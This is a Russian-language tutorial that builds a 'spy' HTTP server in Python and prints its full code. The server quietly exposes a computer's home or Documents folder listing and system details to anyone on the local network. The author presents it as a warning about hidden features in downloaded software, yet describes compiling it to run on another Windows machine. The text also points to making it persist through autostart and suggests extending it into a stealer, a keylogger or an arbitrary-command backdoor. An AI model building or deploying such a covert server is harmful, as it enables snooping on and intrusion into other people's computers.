Простой «шпионский» HTTP-сервер на Python
Создать свой собственный HTTP сервер на питоне достаточно просто. Буквально несколько строк кода. И это может быть как файловый сервер, так и сервер, который просто отдает нам странички по запросу. Возьмем для примера сервер, который устанавливается вместе с программой calibre. При должной настройке данный сервер можно использовать как полноценный сайт библиотеки. Но calibre тут только для примера. А суть вот в чем. Когда вы скачиваете себе какой-либо медиасервер и устанавливаете его себе в систему, есть ли у вас уверенность в том, что у данного сервера только лишь тот функционал, который описан в документации? Ведь на самом деле, здесь открывается довольно большое поле для творчества. И давайте посмотрим, какое именно.
Я не буду описывать здесь, как создать именно сервер для просмотра страничек. Вместо этого мы создадим сервер, который через браузер отдает содержимое папок или показывает операционную систему, на которой он запущен.
В данном случае устанавливать сторонние библиотеки не нужно. Все уже есть в стандартной поставке. Нам понадобиться: os, socket и platform. Давайте их импортируем.
import os import socket import platform
Теперь нам нужно создать вспомогательную функцию для определения локального адреса компьютера. Ведь именно по этому адресу будет доступен вызов команд в браузере. Тут нежно оговориться, что данный сервер будет работать в пределах одной локальной сети. Но, если сделать проброс портов, то, думаю можно получить доступ и из интернета. Это при желании. Создадим функцию local_ipv4(). На входе она ничего не принимает, только лишь делает запрос и отдает ip-адрес.
Код функции получения локального ip-адреса:
def local_ipv4(): # получаем локальный IP-адрес с помощью широковещательной рассылки st = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: st.connect(('10.255.255.255', 1)) ip_l = st.getsockname()[0] except Exception: ip_l = '127.0.0.1' finally: st.close() return ip_l
Теперь приступим к ваянию самого сервера, непосредственно той его части, что будет прослушивать порт и при поступлении на него запроса вызывать обработчик, который мы напишем чуть позднее. Создадим функцию home_server_start(). В данной функции создадим сервер, в котором необходимо указать два параметра, это ip-адрес и порт, который будет прослушиваться. Здесь адрес мы запрашиваем с помощью вспомогательной функции для его получения. После чего запускаем сервер на прослушивание, с указанием количества запросов в очереди. Пусть будет 4. Сервер у нас не требует большой нагрузки. Он вообще ее по большей части не требует.
home_server = socket.create_server((local_ipv4(), 2050)) home_server.listen(4)
Но, нам нужно, чтобы сервер не завершал свою работу после того, как выполнит запрос. Поэтому, создадим бесконечный цикл, в котором и будем получать запросы с помощью метода accept(), который в переводе так и означает, принимать. Затем при поступлении запроса принимаем данные из сокета с указанием количества принимаемых байт и декодируем в utf-8. Затем печатаем тот запрос, что получили. На самом деле делать это не обязательно, но в целях отладки, на данном этапе данный принт можно оставить.
while True: print('Весь в работе...\n') client, address = home_server.accept() content = client.recv(1024). decode('utf-8') print(content) send_data = reciever_home_server(content) client.send(send_data) client.shutdown(socket.SHUT_WR)
В переменную send_data получаем с помощью функции обработчика данные, которые затем отправляем браузеру и закрываем текущее соединение.
def home_server_start(): home_server = socket.create_server((local_ipv4(), 2050)) home_server.listen(4) while True: print('Весь в работе...\n') client, address = home_server.accept() content = client.recv(1024).decode('utf-8') print(content) send_data = reciever_home_server(content) client.send(send_data) client.shutdown(socket.SHUT_WR)
Осталось создать функцию, которая будет обрабатывать получаемые запросы. Создадим ее: reciever_home_server(request_data). На входе она будет получать данные запроса, которые впоследствии и обработает. Далее создадим несколько заголовков для браузера, в которых будут отправляться ответы в случае успеха, то есть код 200, в случае отсутствия страницы, ну или команды 404 и в случае, если команда не была введена и просто выполнился запрос непосредственно по ip и порту.
headers = 'HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\n\r\n' headers_404 = 'HTTP/1.1 404 OK\r\nContent-Type: text/html; charset=utf-8\r\n\r\n '
Теперь нужно получить содержимое запроса. То есть то, что идет, к примеру, после: http:// 127.0.0.1:2050/bla-bla-bla. Вот это вот bla-bla-bla нам и нужно получить. Создадим переменную path, в которую и запихаем данное значение.
path = request_data.split(" ")[1]
А дальше начинаются проверки. Так как у нас ведь не совсем HTTP сервер. Вернее, может выполнять и другие функции. Впрочем, как и любой сервер. Это заложено в его основе. Вот только как это использовать, тут уже все ложиться на плечи того, кто этот сервер делает.
Проверяем команду, полученную от браузера. В данном случае команда ls. Но от браузера она приходит даже после обрезки в таком виде. И если команда соответствует, то идем дальше.
На следующем этапе проверяем операционную систему. Если это Linux, то выполняем один код, если Windows – другой. В нашем случае, мы выполняем сканирование содержимого пользовательской папки и отправляем ответ серверу для того, чтобы он отправил его дальше браузеру.
if platform.system() == "Linux": respons = str(os.listdir(os.environ['HOME'])).encode('utf-8') return headers.encode('utf-8') + respons elif platform.system() == "Windows": respons = str(os.listdir(os.path.join(os.environ['USERPROFILE'], 'Documents'))).encode('utf-8') return headers.encode('utf-8') + respons
Ну и добавил еще одну команду, чтобы не было скучно и была возможность посмотреть, как это вообще работает. А вот данная команда работает почти одинаково, уже вне зависимости от того, какая операционная система у вас используется:
elif path == "/platform": respons = f'ОС: {platform.system()} <p>Версия: {platform.version()}</p>' \ f'<p>Архитектура: {platform.machine()}</p>'.encode('utf-8') return headers.encode('utf-8') + respons
И пришлось создать заглушку для иконки. Браузер по умолчанию запрашивает ее наличие. А так как у нас ее нет (хотя в нормальном варианте она должна быть), мы указываем вместо этого заглушку:
elif path == "/favicon.ico": respons = 'rel="shortcut icon" href="#"'.encode('utf-8') return headers.encode('utf-8') + respons
Еще нужно обработать ошибку. Мало ли, опечатка в команде. И все, сервер вылетел. А так, он просто обработает ошибку, скажет нам что не надо так делать и продолжит работу.
else: return (headers_404 + 'Извиняйте, но этой страницы нет').encode('utf-8')
def reciever_home_server(request_data): headers = 'HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\n\r\n' headers_404 = 'HTTP/1.1 404 OK\r\nContent-Type: text/html; charset=utf-8\r\n\r\n ' path = request_data.split(" ")[1] if path == '/ls': if platform.system() == "Linux": respons = str(os.listdir(os.environ['HOME'])).encode('utf-8') return headers.encode('utf-8') + respons elif platform.system() == "Windows": respons = str(os.listdir(os.path.join(os.environ['USERPROFILE'], 'Documents'))).encode('utf-8') return headers.encode('utf-8') + respons elif path == "/platform": respons = f'ОС: {platform.system()} <p>Версия: {platform.version()}</p>' \ f'<p>Архитектура: {platform.machine()}</p>'.encode('utf-8') return headers.encode('utf-8') + respons elif path == "/favicon.ico": respons = 'rel="shortcut icon" href="#"'.encode('utf-8') return headers.encode('utf-8') + respons else: return (headers_404 + 'Извиняйте, но этой страницы нет').encode('utf-8')
И в функции if __name__ == "__main__": стартуем сервер.
if __name__ == "__main__": home_server_start()
import os import socket import platform def local_ipv4(): # получаем локальный IP-адрес с помощью широковещательной рассылки st = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: st.connect(('10.255.255.255', 1)) ip_l = st.getsockname()[0] except Exception: ip_l = '127.0.0.1' finally: st.close() return ip_l def home_server_start(): home_server = socket.create_server((local_ipv4(), 2050)) home_server.listen(4) while True: print('Весь в работе...\n') client, address = home_server.accept() content = client.recv(1024).decode('utf-8') print(content) send_data = reciever_home_server(content) client.send(send_data) client.shutdown(socket.SHUT_WR) def reciever_home_server(request_data): headers = 'HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\n\r\n' headers_404 = 'HTTP/1.1 404 OK\r\nContent-Type: text/html; charset=utf-8\r\n\r\n ' path = request_data.split(" ")[1] if path == '/ls': if platform.system() == "Linux": respons = str(os.listdir(os.environ['HOME'])).encode('utf-8') return headers.encode('utf-8') + respons elif platform.system() == "Windows": respons = str(os.listdir(os.path.join(os.environ['USERPROFILE'], 'Documents'))).encode('utf-8') return headers.encode('utf-8') + respons elif path == "/platform": respons = f'ОС: {platform.system()} <p>Версия: {platform.version()}</p>' \ f'<p>Архитектура: {platform.machine()}</p>'.encode('utf-8') return headers.encode('utf-8') + respons elif path == "/favicon.ico": respons = 'rel="shortcut icon" href="#"'.encode('utf-8') return headers.encode('utf-8') + respons else: return (headers_404 + 'Извиняйте, но этой страницы нет').encode('utf-8') if __name__ == "__main__": home_server_start()
Как видите, команды успешно отработали и браузер показал результат запросов.
На самом деле, здесь не используется чего-то, что было бы не документировано. А лишь показано то, что, устанавливая что-то из интернета будьте внимательны, так как вы можете получить в довесок еще и вот такого друга. А то и чего похуже. Конечно же, тут должна быть еще и красивая морда. Но, это в общем-то не обязательно. Как скопировать себя в автозагрузку, в простейшем варианте, можно посмотреть вот в этой статье.
Теперь осталось скомпилировать данный код с помощью nuitka и посмотреть, как работает данный код на другой машине с Windows.
Нужно сказать, что данный код будет работать только в локальной сети. Для того, чтобы он работал вне сети, нужно какой-то сервер на другой машине, у вас, например, с которой он будет устанавливать соединение и передавать данные. Но, это уже другая история. Думаю, что вы понимаете, код может быть выполнен любой. Хоть стилера, хоть кейлоггера. Тут, что заложите, то и будет работать. Ну и сервер так себе, для демо режима.
Сервер можно было бы доработать, чтобы он выполнял любые произвольные команды, которые мы пропишем в адресной строке браузера. И в таком случае мы бы получили инструмент для получения полной информации о компьютере и не только.